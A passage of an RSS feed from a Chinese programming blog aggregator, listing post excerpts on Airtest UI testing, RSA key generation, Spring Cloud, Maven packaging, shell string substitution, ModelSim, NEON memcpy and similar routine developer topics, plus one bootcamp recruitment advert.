      <description>Airtest Project 是网易开发的一款跨平台 UI 自动化测试框架（ http://airtest.netease.com ）。通过阅读该框架的整体介绍和使用说明，总结框架的基本功能和特点如下，对 Android，iOS，3D 游戏等应用的 UI 自动化测试感兴趣的读者请务必看过来&#xA;跨平台 Airtest Project 一大特色是跨平台，支持以下应用的 UI 自动化测试&#xA;Android appiOS appWindows 应用Web 应用微信小程序应用 ( 仅支持系统内核，TBS 内核尚在开发中，http://airtest.netease.com/blog/tutorial/WechatSmallProgram/ ) 在游戏应用方面，支持以下引擎开发的 app&#xA;Unity3dcocos2dx-jscocos2dx-lua&#xA;运行环境 Airtest Project 提供一套能够编写，录制，回放脚本的编辑器 AirtestIDE，目前该 IDE 已提供如下操作系统的客户端&#xA;MacWindowsLinux Ubuntu 脚本编写语言 测试脚本编写语言为 Python，兼容 Python 2.7 和 Python 3&#xA;核心模块 1. Poco 用于控件识别&#xA;https://github.com/AirtestProject/Poco&#xA;Poco 框架用于对 Unity3D，cocos2dx-*，Android 原生 app，iOS 原生 app 的控件树进行解析查找，来定位 UI&#xA;例如对 Android 原生 app 的 控件定位&#xA;2. Airtest 用于图像识别</description>
    </item>
    <item>
      <title>召回率精确率以及ROC曲线的笔记</title>
      <link>https://bchobby.github.io/posts/012ee1632b3593d68a980e645020d96f/</link>
      <pubDate>Wed, 25 Mar 2020 19:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/012ee1632b3593d68a980e645020d96f/</guid>
      <description> </description>
    </item>
    <item>
      <title>python 生成 RSA 公私钥（密钥对）</title>
      <link>https://bchobby.github.io/posts/98cc48d6af2da84a6c2ea4bcaa9582dc/</link>
      <pubDate>Wed, 25 Mar 2020 16:59:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98cc48d6af2da84a6c2ea4bcaa9582dc/</guid>
      <description>使用rsa模块生成公私钥文件：&#xA;# -*- coding: utf-8 -*- import rsa (pubkey, privkey) = rsa.newkeys(1024) # 生成公钥 pub = pubkey.save_pkcs1() pubfile = open(&#39;public.pem&#39;, &#39;wb&#39;) pubfile.write(pub) pubfile.close() # 生成私钥 pri = privkey.save_pkcs1() prifile = open(&#39;private.pem&#39;, &#39;wb&#39;) prifile.write(pri) prifile.close() 执行后两个文件</description>
    </item>
    <item>
      <title>大话微服务：（三）Spring Cloud Netflix 和Spring Cloud alibaba服务技术架构</title>
      <link>https://bchobby.github.io/posts/1bfc51ea2671296414aa11b439b396a8/</link>
      <pubDate>Wed, 25 Mar 2020 15:38:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bfc51ea2671296414aa11b439b396a8/</guid>
      <description>一、Spring Cloud Netflix 和Spring Cloud alibaba服务技术架构比较&#xA;二、重点介绍Spring Cloud alibaba微服务一站式解决方案&#xA;Spring Cloud 本身其实只是一套微服务规范，并不是一个拿来即可用的框架，Spring Cloud Netflix 和Spring Cloud alibaba是为开发者提供了这套规范的实现方式。由于Spring Cloud Netflix 2018年12月12日进入维护模式（Maintenance Mode），所以不太适合长期再使用。故选择Spring Cloud alibaba的技术方案。&#xA;2019年7月24日Spring官方社区官方博文中宣布了Spring Cloud Alibaba正式从 Spring Cloud Incubator 孵化器毕业，成为了Spring社区的正式项目。同时国内版Github码云也提供了Spring Cloud Alibaba极速下载镜像。&#xA;三、Spring Cloud alibaba 技术架构&#xA;四、Spring Cloud alibaba 主要功能及对应组件&#xA;(一）服务的注册与发现(对标Netflix的Eureka译音尤利卡)： Nacos&#xA;（二）负载均衡Ribbo&#xA;（三）声明式HTTP客户端Feign&#xA;(四）服务容错Sentinel&#xA;(五）消息驱动RocketMQ&#xA;(六）API网关GateWay( 可以集成开源的Soul网关或者 spring Cloud Gateway）&#xA;(七）配置管理Nacos&#xA;(八）调用链监控Sleuth&#xA;(九）服务限流降级（即熔断限流，对标Hystrix）：Sentinel：把流量作为切入点，从流量控制、熔断降级、系统负载保护等多个维度保护服务的稳定性。&#xA;（十）分布式配置管理：Alibaba Cloud ACM：一款在分布式架构环境中对应用配置进行集中管理和推送的应用配置中心产品。&#xA;（十一）分布式事务： Seata：阿里巴巴开源产品，一个易于使用的高性能微服务分布式事务解决方案。&#xA;（十二）阿里云对象存储（收费）： Alibaba Cloud OSS: 阿里云对象存储服务（Object Storage Service，简称 OSS），是阿里云提供的海量、安全、低成本、高可靠的云存储服务&#xA;（十三）分布式任务调度（收费）：Alibaba Cloud SchedulerX: 阿里中间件团队开发的一款分布式任务调度产品，提供秒级、精准、高可靠、高可用的定时（基于 Cron 表达式）任务调度服务。</description>
    </item>
    <item>
      <title>【c#】localStorage做缓存</title>
      <link>https://bchobby.github.io/posts/25b2bd06ab6abfad164ca6f8dd8b29e0/</link>
      <pubDate>Wed, 25 Mar 2020 15:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b2bd06ab6abfad164ca6f8dd8b29e0/</guid>
      <description>c# LocalStorage做缓存 1、localStorage做缓存2、缓存使用实例 1、localStorage做缓存 1.1 LocalStorage做缓存Cache&#xA;internal class Cache { private LocalStorage localStorage; public Cache(string domain = &#34;...&#34;) { localStorage = new LocalStorage(domain); } public object this[string key] { get { return localStorage[key]; } set { if (localStorage.ContainsKey(key)) { localStorage.Remove(key); } localStorage[key] = value; localStorage.Save(); localStorage.ReLoad(); } } public IList&amp;lt;string&amp;gt; Keys { get { IList&amp;lt;string&amp;gt; keys = new List&amp;lt;string&amp;gt;(); foreach(string key in localStorage.Keys) { keys.Add(key); } return keys; } } public bool Contains(string key) { if (key == null || key.</description>
    </item>
    <item>
      <title>已知数组a中的元素已按由小到大顺序排列，以下程序的功能是将输入的一个数插入数组a中，插入后，数组a中的元素仍然由小到大顺序排列</title>
      <link>https://bchobby.github.io/posts/240dad4484ba57b13dde9f383635f911/</link>
      <pubDate>Wed, 25 Mar 2020 15:25:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/240dad4484ba57b13dde9f383635f911/</guid>
      <description> 已知数组a中的元素已按由小到大顺序排列，以下程序的功能是将输入的一个数插入数组a中，插入后，数组a中的元素仍然由小到大顺序排列&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int a[10]; int i=0,j,num; while(scanf(&#34;%d&#34;,&amp;amp;a[i])!=EOF) { i++; } scanf(&#34;%d&#34;,&amp;amp;num); for(j=i-1;j&amp;gt;=0;j--) { if(a[j]&amp;gt;num) a[j+1]=a[j]; else { a[j+1]=num; break; } } for(j=0;j&amp;lt;i+1;j++) { if(j==i) printf(&#34;%d\n&#34;,a[j]); else printf(&#34;%d &#34;,a[j]); } return 0; } </description>
    </item>
    <item>
      <title>离散数学（第二版） 第一章、第二章习题</title>
      <link>https://bchobby.github.io/posts/99aa3b0dafc16b831dfb69cb44a96d92/</link>
      <pubDate>Wed, 25 Mar 2020 14:44:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99aa3b0dafc16b831dfb69cb44a96d92/</guid>
      <description>目录 第一章命题逻辑的基本概念习题 117 题 判断论述21 题 求下列公式的成假赋值29 题 简答题 第二章知识储备命题公式类型 习题二知识储备求下列公式的主析取范式，再用主析取范式求主合取范式．用主析取范式判断下列公式是否等值．简答题用消解法判断下列公式是否是可满足的． 第一章命题逻辑的基本概念 习题 1 17 题 判断论述 判断下面一段论述是否为真：“ π是无理数．并且如果3是无理数，则 2 \sqrt 2 2 ​ 另外 只有 6 能被 2 整除 ，6 才能被 4 整除．”&#xA;解答：&#xA;p: π是无理数 1q: 3是无理数 0r: 2 \sqrt 2 2 ​ 是无理数 1s:6能被2整除 1t: 6能被4整除0 命题符号化为：p∧(q→r)∧(t→s)的真值为1，所以这一段的论述为真。&#xA;21 题 求下列公式的成假赋值 （格式丑字丑，见谅）由于是第一章节习题所以使用真值表进行计算&#xA;┐(┐ p∧q)∧┐r(┐ q∨r)∧(p→q)(p→q)∧(┐(p∧r)∨p)&#xA;29 题 简答题 设A,B都是含命题变项p1,p2,…pn的公式,已知A∨B是矛盾式,证明当且仅当A与B都是矛盾式。&#xA;第二章 知识储备 命题公式类型 定义 2.10 设G为公式:&#xA;(1) 如果G在所有解释下都是真的，则称G是恒真式(或称G是重言式，永真式);</description>
    </item>
    <item>
      <title>聊聊最新版AirtestIDE的新功能</title>
      <link>https://bchobby.github.io/posts/da34a0b2f5a7b1740ed64ccee9bb984f/</link>
      <pubDate>Wed, 25 Mar 2020 14:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da34a0b2f5a7b1740ed64ccee9bb984f/</guid>
      <description>版权声明：允许转载，但转载必须保留原链接；请勿用作商业或者非法用&#xA;此文章来源于项目官方公众号：“AirtestProject”&#xA;今年1.20号左右，AirtestProject团队就更新了一版IDE-- AirtestIDE1.2.3 ，相比1.2.2，这个版本增加了很多新功能，下面我们就来看看具体有哪些更新：&#xA;1.兼容Android10和MIUI11 新版本对Android10有了更好的支持与兼容，Android10手机可以直接连接使用了（即无需勾选任何选项，直接点击 connect 按钮就行啦）。但是小米手机如果更新到MIUI11，需要勾选 use Javacap + use orientation 两个选项后才能使用。&#xA;注意：如果使用了本地Python环境来运行脚本的话，不要忘记将本地的 airtest + pocoui 两个库也更新到最新哟，否则可能还会使用旧的代码来连接和运行脚本，导致依然不兼容。（命令行运行 pip install -U airtest 和 pip install -U pocoui 即可更新）&#xA;另外， poco-service.apk 暂时没有更新，因此在Android10上面会弹出一个低版本的提示，不过不影响使用~（直接点击 确认 即可）&#xA;2.设置兼容模式启动 新增了一个兼容模式的设置项。若启动时需要使用兼容性模式（即双击IDE文件夹中的兼容性模式启动.bat）才能正常查看编辑窗口和Log窗口的话，可以在IDE的 选项-设置 中选择一个兼容模式后重启IDE，这样未来将会默认以兼容性模式来启动IDE：&#xA;设置项的使用详情可以参看文档： https://airtest.doc.io.netease.com/IDEdocs/settings/1_ide_settings/#_5&#xA;3.新增TV按钮窗口 针对部分电视APP，IDE新增了一个 TV按钮 的快捷窗口，可以用鼠标点击来发送 上下左右 + 确认 按钮的ADB消息：&#xA;按钮使用详情可以参看文档：https://airtest.doc.io.netease.com/IDEdocs/device_connection/7_android_assistant/#4-tv&#xA;4.更新了Yosemite.apk Yosemite.apk 更新了版本，请各位重新安装新版本的应用，以获得更好的使用效果和Android10的兼容。在运行到脚本到 text() 语句时、或是连接手机时勾选了 use javacap 模式，airtest会自动检测并安装新版本的 Yosemite.apk 。但是前提是必须使用IDE自带的环境来运行脚本，或者是本地环境的airtest已经更新到最新的1.1.3版本。&#xA;各位也可以考虑手工安装到手机， Yosemite.apk 文件就在IDE的目录中，搜索一下就能找到啦。&#xA;5.Airtest更新到1.1.3 Airtest更新了版本，关于log()接口，和报告生成的LogToHtml有了一些改动，可以更好地显示报错信息并且简化了生成报告的代码等；另外还新增了脚本图片精度压缩的配置项，具体请查看Airtest更新公告：https://github.com/AirtestProject/Airtest/releases/tag/v1.1.2&#xA;6.poco新增对cocos-creator和UE4的支持 Poco-SDK新增了cocos-creator和UE4两款引擎的支持，具体的接入方法请查阅公众号往期对应的推文：&#xA;只需要3步，你就能接入UE4 Poco SDK啦~</description>
    </item>
    <item>
      <title>hanoi塔（汉诺塔）--C语言</title>
      <link>https://bchobby.github.io/posts/fb37ed97ef174f55374049407a749df1/</link>
      <pubDate>Tue, 24 Mar 2020 23:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb37ed97ef174f55374049407a749df1/</guid>
      <description>hanoi塔（汉诺塔）–C语言 一.什么是hanoi塔 汉诺塔（又称河内塔）问题是源于印度一个古老传说的益智玩具。&#xA;大梵天创造世界的时候做了三根金刚石柱子，在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘。&#xA;大梵天命令婆罗门把圆盘从下面开始按大小顺序重新摆放在另一根柱子上。&#xA;并且规定，在小圆盘上不能放大圆盘，在三根柱子之间一次只能移动一个圆盘。&#xA;即&#xA;规则：&#xA;1.每次只能移动一个圆盘；&#xA;2. 圆盘可以插在A,B,C中任意一根柱子上；&#xA;3.任何时刻都不能将较大的圆盘压在较小的圆盘上面。&#xA;n盘汉诺塔就是n个圆盘在A,B,C三个柱子上面按照上述规则进行移动。&#xA;二.hanoi塔解题思路 ————当然hanoi塔的题目是一道很典型的采用递归思路来进行解决的问题；&#xA;1.问题分解 首先，我们需要将n个圆盘从柱子A移动到柱子C上面：&#xA;将1 ~ n-1个圆盘作为整体从A借助C移动到B上；将A上的第n个圆盘从A移动到C；再将B上的1 ~ n-1个圆盘整体从B借助A移动到C上。 这样问题就从移动n个圆盘简化为了移动n-1个圆盘的问题；&#xA;问题层层化简，最后就能简化成1个圆盘的移动问题。&#xA;这样就完成了hanoi塔的移动。&#xA;2.设置递归 我们由问题分解中的思路就能够得到递归；&#xA;其中递归的结束条件就是只有一个圆盘的时候，而调用就是移动n-1个圆盘的时候；&#xA;所以我们以此就能够写出递归的代码：&#xA;void hanoi(int n,char x,char y,char z) { if(n==1) move(x,1,z); //将编号为1的圆盘从x移动到z else{ hanoi(n-1,x,z,y); //将x上编号为1至n-1的圆盘借助z移到y move(x,n,z); //将编号为n的圆盘从x移到z hanoi(n-1,y,x,z); //将y上编号为1至n-1的圆盘借助x移到z } } 三.具体讲解 以三盘hanoi塔作为例子具体讲解：&#xA;1.初始状态 ABC第一层1第二层2第三层3 (圆盘3最大，圆盘1最小）&#xA;要将三个圆盘从A移动到C。&#xA;2.递归 n=3 ——所以执行hanoi（n-1,x,z,y);&#xA;n=2 ——所以执行hanoi（n-1,x,z,y);&#xA;(这里的x代表柱子A，y代表柱子C,z代表柱子B，是从上面的x,z,y传递而来)&#xA;n=1 ——结束递归，将1号圆盘从A移动到C&#xA;递归工作栈的工作状态：&#xA;n值x值y值z值3ABC n值x值y值z值2ACB3ABC n值x值y值z值1ABC2ACB3ABC 到1的时候就该move(x,1,z)&#xA;ABC第一层第二层2第三层31 同时出栈</description>
    </item>
    <item>
      <title>修改Git远程地址 git config remote.origin.url &#34;https://...&#34;</title>
      <link>https://bchobby.github.io/posts/eaec73fd3c2b668808f6fac581245784/</link>
      <pubDate>Tue, 24 Mar 2020 23:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaec73fd3c2b668808f6fac581245784/</guid>
      <description> 仓库管理： 添加或指定远程仓库地址 git remote set-url origin &#34;https://...&#34; git config remote.origin.url &#34;https://...&#34; 删除 git remote rm origin </description>
    </item>
    <item>
      <title>[maven] springboot将jar包打包到指定目录</title>
      <link>https://bchobby.github.io/posts/c3d08e8d7345bba55f594a4d2b8b13c0/</link>
      <pubDate>Tue, 24 Mar 2020 20:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3d08e8d7345bba55f594a4d2b8b13c0/</guid>
      <description>大家好，我是烤鸭：&#xA;今天分享一下springboot将jar包打包到指定目录下。&#xA;由于之前上线都是一个打包到一个jar，由于服务多了，1个包100多M，哪怕是小版本上线都需要重新上传jar包。&#xA;1.目的 将不常用的比如spring,druid等不常用打包到lib目录，这样每次上线不需要上传这些。第三方或者常改动的还打包到本身的jar包内，每次上线都会新打包。&#xA;这样原来的100多M的jar包，可以变成2、3M。&#xA;如图所示：&#xA;原来的打包方式&#xA;改后的方式：&#xA;2.修改pom 简单解释一下，includes标签内就是打入jar包第三方jar。将上面的2M的包解压缩后，就是includes的包。如图所示。&#xA;excludeGroupIds和excludeArtifactIds 是配置不在lib目录里的包，由于java启动加载的机制是优先加载jar包，&#xA;再加载外部目录，如果jar包都存在两个地方，这样配置就没有意义了，每次还是得重新发布lib目录，所以将includes&#xA;中的包，再在excludeGroupIds 和 excludeArtifactIds 配置上。&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;executions&amp;gt; &amp;lt;execution&amp;gt; &amp;lt;goals&amp;gt; &amp;lt;goal&amp;gt;repackage&amp;lt;/goal&amp;gt; &amp;lt;goal&amp;gt;build-info&amp;lt;/goal&amp;gt; &amp;lt;/goals&amp;gt; &amp;lt;/execution&amp;gt; &amp;lt;/executions&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;layout&amp;gt;ZIP&amp;lt;/layout&amp;gt; &amp;lt;includes&amp;gt; &amp;lt;include&amp;gt; &amp;lt;groupId&amp;gt;nothing&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;nothing&amp;lt;/artifactId&amp;gt; &amp;lt;/include&amp;gt; &amp;lt;include&amp;gt; &amp;lt;groupId&amp;gt;com.etc&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;etc-manage-api&amp;lt;/artifactId&amp;gt; &amp;lt;/include&amp;gt; &amp;lt;include&amp;gt; &amp;lt;groupId&amp;gt;com.etc&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;etc-manage-core&amp;lt;/artifactId&amp;gt; &amp;lt;/include&amp;gt; &amp;lt;include&amp;gt; &amp;lt;groupId&amp;gt;com.etc&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;etc-manage-rpc-api&amp;lt;/artifactId&amp;gt; &amp;lt;/include&amp;gt; &amp;lt;include&amp;gt; &amp;lt;groupId&amp;gt;com.sinoiov.etc.apollo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;apollo-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/include&amp;gt; &amp;lt;/includes&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-dependency-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;executions&amp;gt; &amp;lt;execution&amp;gt; &amp;lt;id&amp;gt;copy&amp;lt;/id&amp;gt; &amp;lt;phase&amp;gt;package&amp;lt;/phase&amp;gt; &amp;lt;goals&amp;gt; &amp;lt;goal&amp;gt;copy-dependencies&amp;lt;/goal&amp;gt; &amp;lt;/goals&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;excludeGroupIds&amp;gt; com.</description>
    </item>
    <item>
      <title>shell变量里的字符替换</title>
      <link>https://bchobby.github.io/posts/267418efbb653be23134e9b28b09d37d/</link>
      <pubDate>Tue, 24 Mar 2020 19:38:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/267418efbb653be23134e9b28b09d37d/</guid>
      <description>shell变量里的字符替换&#xA;b=${a/123/321};将${a}里的第一个123替换为321&#xA;b=${a//123/321};将${a}里的所有123替换为321&#xA;shell调试:&#xA;sh -x aaa.sh&#xA;from:&#xA;http://bbs.chinaunix.net/viewthread.php?tid=218853&amp;amp;extra=&amp;amp;page=7#pid1628522&#xA;shell十三问&#xA;不過，假如你只看到 ${ } 只能用來界定變量名稱的話，那你就實在太小看 bash 了﹗&#xA;有興趣的話，你可先參考一下 cu 本版的精華文章：&#xA;http://www.chinaunix.net/forum/viewtopic.php?t=201843&#xA;為了完整起見，我這裡再用一些例子加以說明 ${ } 的一些特異功能：&#xA;假設我們定義了一個變量為：&#xA;file=/dir1/dir2/dir3/my.file.txt&#xA;我們可以用 ${ } 分別替換獲得不同的值：&#xA;${file#*/}：拿掉第一條 / 及其左邊的字串：dir1/dir2/dir3/my.file.txt&#xA;${file##*/}：拿掉最後一條 / 及其左邊的字串：my.file.txt&#xA;${file#*.}：拿掉第一個 . 及其左邊的字串：file.txt&#xA;${file##*.}：拿掉最後一個 . 及其左邊的字串：txt&#xA;${file%/*}：拿掉最後條 / 及其右邊的字串：/dir1/dir2/dir3&#xA;${file%%/*}：拿掉第一條 / 及其右邊的字串：(空值)&#xA;${file%.*}：拿掉最後一個 . 及其右邊的字串：/dir1/dir2/dir3/my.file&#xA;${file%%.*}：拿掉第一個 . 及其右邊的字串：/dir1/dir2/dir3/my&#xA;記憶的方法為：&#xA;# 是去掉左邊(在鑑盤上 # 在 $ 之左邊)&#xA;% 是去掉右邊(在鑑盤上 % 在 $ 之右邊)&#xA;單一符號是最小匹配﹔兩個符號是最大匹配。&#xA;${file:0:5}：提取最左邊的 5 個字節：/dir1</description>
    </item>
    <item>
      <title>modelsim do文件简介及仿真波形分析注意事项</title>
      <link>https://bchobby.github.io/posts/2af248c9e4185efe98444d46cbaa5726/</link>
      <pubDate>Tue, 24 Mar 2020 14:54:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af248c9e4185efe98444d46cbaa5726/</guid>
      <description>目录&#xA;前言&#xA;Modelsim指令介绍&#xA;步骤一：创建run_wave.do&#xA;步骤二：打开Modelsim&#xA;步骤三：do run_wave.do&#xA;步骤4：run_sim.bat&#xA;补充介绍&#xA;参考&#xA;前言 本文对.do文件进行整理介绍，并在后文引用 “ bitrocco ” 的一篇博文做补充介绍。&#xA;经验之言：&#xA;事例：&#xA;1、SIM文件夹下：test_model.v是RTL代码（需要被仿真的文件），test_model_2019.v是备份的历史代码（不是想仿真的文件）。由于编译指令是编译SIM文件夹下的所有.v文件，从而若test_model_2019.v存在逻辑错误、而test_model.v中没有，则会导致一种现象，modelsim的波形与test_model.v逻辑描述不一样。该问题可能是由于test_model_2019.v文件影响导致，因为两个文件的模块名一致，从而导致modelsim编译文件的时候，使用了错误的文件。&#xA;2、ISE编译的仿真库与vivado编译的仿真库不通用；vivado编译的仿真库与Modelsim版本有关，若版本不匹配，会导致仿真库编译时个别IP 报错。&#xA;仿真 1、文件准备：将待仿真的 tb_top.v、被测文件.v、批处理文件.bat、wave.do文件准备好。&#xA;2、文件功能说明。&#xA;run.bat：批处理文件是将modelsim的工作路径切换到当前文件夹路径；之后运行wave.do。&#xA;wave.do：执行：创建本地库、将逻辑库名映射库路径、编译IP、编译RTL、添加仿真库等功能。&#xA;bram_i32o32_d1024.v：被仿真文件。由于这个Xilinx IP会调用blk_mem_gen_v8_4.v文件，因此需要将blk_mem_gen_v8_4.v也放在该文件夹中。 3、在以上文件准备好后，直接运行run.bat，即可实现自动打开modelsim对tb_top进行仿真。&#xA;备注：该仿真文件夹中不可以含有其他modelsim版本编译产生的work文件夹，否则会导致编译失败。也即在仿真文件夹中，只需要准备上面所需的文件，不要含有其他东西即可。&#xA;4、vivado软件在创建IP时，sim文件夹里存放的是IP仿真文件，simulation文件夹里放的是仿真model，有的IP会调用simulation中的文件用于行为仿真。&#xA;这里提供wave.do的参考示例。&#xA;#================================================================ # Clear #================================================================ # 退出当前仿真 quit -sim # 清输出窗口 .main clear #================================================================ # Create work library #================================================================ # It will create a &#34;work&#34; folder in current folder # 创建本地库 vlib work # 将逻辑库名映射库路径 vmap work work #================================================================ # Compile Xilinx/Inter IP core #================================================================ # Add File path and Compile them vlog .</description>
    </item>
    <item>
      <title>同样是应届生，为什么有的同学一毕业就月薪1万以上？</title>
      <link>https://bchobby.github.io/posts/cba11be9e10c4069026da27ed520080b/</link>
      <pubDate>Tue, 24 Mar 2020 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cba11be9e10c4069026da27ed520080b/</guid>
      <description>速报&#xA;2020年经济下行趋势明显，毕业生出路在哪儿？&#xA;今年毕业生人数颇多，又赶上大环境不好，很多公司裁员、缩招。别说offer，连出门找实习都难。&#xA;“大学四年我都学了啥？”&#xA;“是啊，现在咋找实习丰富简历啊”&#xA;“今年毕业的我该怎么办，要哭了”&#xA;“论文没写，offer没有，天天躺尸ing”&#xA;其实像腾讯、阿里、抖音快手这类互联网公司，在疫情期间用户暴涨，用人需求猛增30%，非常缺技术人员。&#xA;左一条形柱为IT行业人才需求，远高于其他行业&#xA;这次疫情倒逼大量产业互联化，尤其是优秀的开发工程师，未来的发展前景与涨薪幅度都非常大，而且对专业的限制越来越小。&#xA;Boss直聘上一个本科毕业的前端、Java开发工程师，薪资高达20K！&#xA;&amp;gt;&amp;gt; 向左滑动查看下一张图片 &amp;lt;&amp;lt;&#xA;前端、Java等开发岗位薪资高达20K+&#xA;这些数据告诉我们：想险中求发展，转行进入互联网行业，现在就是最好的时机。&#xA;很多人听完很心动，但仍然心存些许疑惑&#xA;何以解忧？&#xA;作为一家有社会责任感的公司，在这个特殊时期为即将毕业的同学定制化推出【应届生千人高薪培养计划】，寻找并帮助1000位优秀的在校大学生，在4-6个月内拿到10k以上高薪offer。&#xA;培养计划由开课吧新职课的教研团队历经180多天的研发，并联合87家互联网公司的企业师父教学。&#xA;新培养体系目前已经过100多位学生的验证，其中90%的学员拿下月薪1万以上的offer。&#xA;部分学员就业情况&#xA;以下均为应届毕业生第一份工作情况&#xA;学员&#xA;毕业学校&#xA;岗位&#xA;薪资&#xA;W同学&#xA;曲阜师范大学&#xA;前端工程师&#xA;12K&#xA;Z同学&#xA;河北科技师范&#xA;Java工程师&#xA;13K&#xA;F同学&#xA;佳木斯大学&#xA;前端工程师&#xA;12K&#xA;L同学&#xA;河南理工大学&#xA;Python工程师&#xA;17K&#xA;Z同学&#xA;河北联合大学&#xA;Java工程师&#xA;14K&#xA;M同学&#xA;北京吉利大学&#xA;Python工程师&#xA;18K&#xA;W同学&#xA;湖南农业大学&#xA;前端工程师&#xA;12K&#xA;Q同学&#xA;四川大学&#xA;大数据工程师&#xA;20k&#xA;注：为保护学员个人隐私，隐去学员姓名，信息若有虚假，愿承担法律责任&#xA;现在吴师兄为读者中的大学生争取到了50个0元免费试学的名额，只要你符合以下条件，就可扫码加入0元试学训练营&#xA;入学条件&#xA;1&#xA;统招本科及以上学历（需提供学信网证明）&#xA;2&#xA;计算机相关专业或有理工科背景优先&#xA;3&#xA;即将毕业的大学生或每天有3小时以上学习时间&#xA;4</description>
    </item>
    <item>
      <title>memcpy速度太慢？掌握这个技术让内存拷贝效率成倍提升</title>
      <link>https://bchobby.github.io/posts/e1be9c43865db520ff7fdeae6e37a45a/</link>
      <pubDate>Tue, 24 Mar 2020 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1be9c43865db520ff7fdeae6e37a45a/</guid>
      <description>封面出自：板栗懒得很 memcpy是C/C++的一个标准函数，原型void *memcpy(void *dest, const void *src, size_t n)，用于从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中。&#xA;neon是适用于ARM Cortex-A系列处理器的一种128位SIMD(Single Instruction, Multiple Data,单指令、多数据)扩展结构。neon支持一次指令处理多个数据，比如处理8个8-bit、4个16-bit、2个32-bit或1个64-bit。正是这个特性可以用于加速内存拷贝。&#xA;在正常情况下memcpy的性能已经足够使用了，但是当我们因为某些原因在拷贝大内存遇到瓶颈的时候，可以考虑使用neon来加速内存拷贝。比如我在使用glMapBufferRange把PBO从GPU内存映射到CPU内存的时候遇到了耗时问题，拷贝921600字节的数据需要30ms，在使用neon后，内存拷贝耗时直接降低到了4ms，相差将近8倍。事实上，在arm平台上使用neon指令可以高效提升数据并行处理性能，而不仅仅局限于内存拷贝。google开源的libyuv内部也使用了neon指令来并行处理数据。&#xA;使用neon指令 #ifdef __ARM__ static void neon_memcpy(volatile unsigned char *dst, volatile unsigned char *src, int sz) { if (sz &amp;amp; 63) sz = (sz &amp;amp; -64) + 64; asm volatile ( &#34;NEONCopyPLD: \n&#34; &#34; VLDM %[src]!,{d0-d7} \n&#34; &#34; VSTM %[dst]!,{d0-d7} \n&#34; &#34; SUBS %[sz],%[sz],#0x40 \n&#34; &#34; BGT NEONCopyPLD \n&#34; : [dst]&#34;+r&#34;(dst), [src]&#34;+r&#34;(src), [sz]&#34;+r&#34;(sz) : : &#34;</description>
    </item>
    <item>
      <title>基于笛卡尔坐标系下的三边定位的研究（TOA方式定位）</title>
      <link>https://bchobby.github.io/posts/bf6485d60d1da87d0880450915b17457/</link>
      <pubDate>Tue, 24 Mar 2020 08:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf6485d60d1da87d0880450915b17457/</guid>
      <description>基于笛卡尔坐标系下的三边定位的简单研究（TOA方式定位） 引言： 在无线定位中，TOA方式下的三边定位有它的优越性，定位精度高，三个基站就可实现精确定位。目前的超宽带技术的普及应用，普遍采用该种定位的方法。三边定位一般有两种数学上的计算方法，一是向量法。二是笛卡尔坐标系法。本篇主要探讨第二种方式。&#xA;现实中的应用场景一般有2D（二维）和3D（三维空间）。本文就这两种方式分别予以叙述。&#xA;一、在平面2D坐标下的计算方式：&#xA;我们可以通过三圆的相交，可以确定一个目标点。从数学几何上不难求解得到目标点的坐标：&#xA;这里源节点的坐标（Xi, Yi），其中：&#xA;二、在空间3D坐标下的计算方式：&#xA;在空间3D模式下，从几何模型上来看，三个球相交会形成两个交点。4个球相交形成一个交点，该计算的方式与平2D模式有相似但又有区别。在某些定位中，往往已知道目标点的运动区域特性，或者定位的需求往往只需关注某个投影面，所以一般三个源节点就可计算得出目标点的投影面的坐标点。投影面的选择一般选择三个源节点所在的平面。&#xA;目标点（上图中的标签T0），并非在三个圆的交点上（三圆的半径为目标点到源节点空间距离），而是三个圆相交点所在弦线的交点上。&#xA;明确了这点几何特性，就不难求出目标点的坐标了。&#xA;在具体的定位中，往往就不是单单三个基站了，显然更多的基站将获得更多的解集，也就意味着更高的精度了。</description>
    </item>
    <item>
      <title>什么是类 ？ 什么是对象 ？ 类和对象有什么关系 ？什么是封装？什么是继承？</title>
      <link>https://bchobby.github.io/posts/a1cc90beb438126c7b792794dc0c0125/</link>
      <pubDate>Mon, 23 Mar 2020 22:02:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1cc90beb438126c7b792794dc0c0125/</guid>
